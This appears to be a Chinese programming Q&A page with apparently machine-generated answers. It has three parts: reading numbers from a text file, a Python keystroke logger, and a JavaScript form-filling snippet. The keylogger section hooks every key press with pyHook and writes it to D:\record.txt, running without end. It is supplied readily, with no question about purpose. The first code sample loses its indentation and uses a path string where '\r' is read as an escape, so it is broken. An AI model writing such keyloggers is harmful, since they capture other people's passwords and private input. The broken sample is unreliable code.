将文本文件(d:\record.txt)中的数字读入一个列表,并输出该列表Python
时间: 2023-06-06 17:05:37 浏览: 63
下面是Python代码实现:
```
num_list = []
with open("d:\record.txt", "r") as f:
for line in f:
num_list.append(int(line))
print(num_list)
```
这段代码首先定义了一个空列表 num_list,然后使用 with open 语句打开 "d:\record.txt" 文件,读取每一行的数字并将其转换为整型,最后添加到 num_list 列表中。最后,使用 print 函数输出 num_list 列表。
相关问题
请编写一个 Python 脚本,记录键盘按键,并存储到D:\record.txt中。要实时记录实时保存,不需要退出条件。
这是一个示例脚本:
```
import pyHook
import pythoncom
import os
def onKeyboardEvent(event):
# 记录键盘按键
with open(r"D:\record.txt", "a") as f:
f.write(event.Key)
# 返回 True 表示忽略此键
return True
# 创建钩子
hm = pyHook.HookManager()
hm.KeyDown = onKeyboardEvent
hm.HookKeyboard()
# 一直监听
pythoncom.PumpMessages()
```
这个脚本使用了 `pyHook` 库来监听键盘事件,并使用 Python 的 `with` 语句打开一个文件并将按键写入文件中。
注意,这个脚本无法终止,因为 `pythoncom.PumpMessages()` 会一直监听键盘事件。如果你想终止脚本,可以使用其他方法,比如按特定的组合键或者使用多线程。
setTimeout(() => { this.form.setFieldsValue( { id: record.id, name: record.name, code: record.code, state: record.state, type: record.type, orgId: record.orgId, postscript: record.postscript, ponPer: record.ponPer, relPer: record.relPer ? record.relPer.split(';') : undefined } ) }, 100) },
这段代码是一个定时器函数,在100毫秒后执行。在定时器函数中,使用`form.setFieldsValue()`方法将record对象中的属性值设置到表单字段中。
假设`this.form`是一个antd的`Form`实例,你可以在定时器函数内部访问到它。`setFieldsValue()`方法接受一个对象作为参数,对象的键对应表单字段的`name`属性,值为要设置的值。
上述代码中,根据record对象的属性值,将id、name、code、state等字段的值设置到对应的表单字段中。注意,如果record.relPer存在且为字符串类型,则通过split(';')方法将其分割成数组,并将数组作为relPer字段的值。
这样,在定时器函数执行后的100毫秒内,表单字段会被设置为record对象对应的值。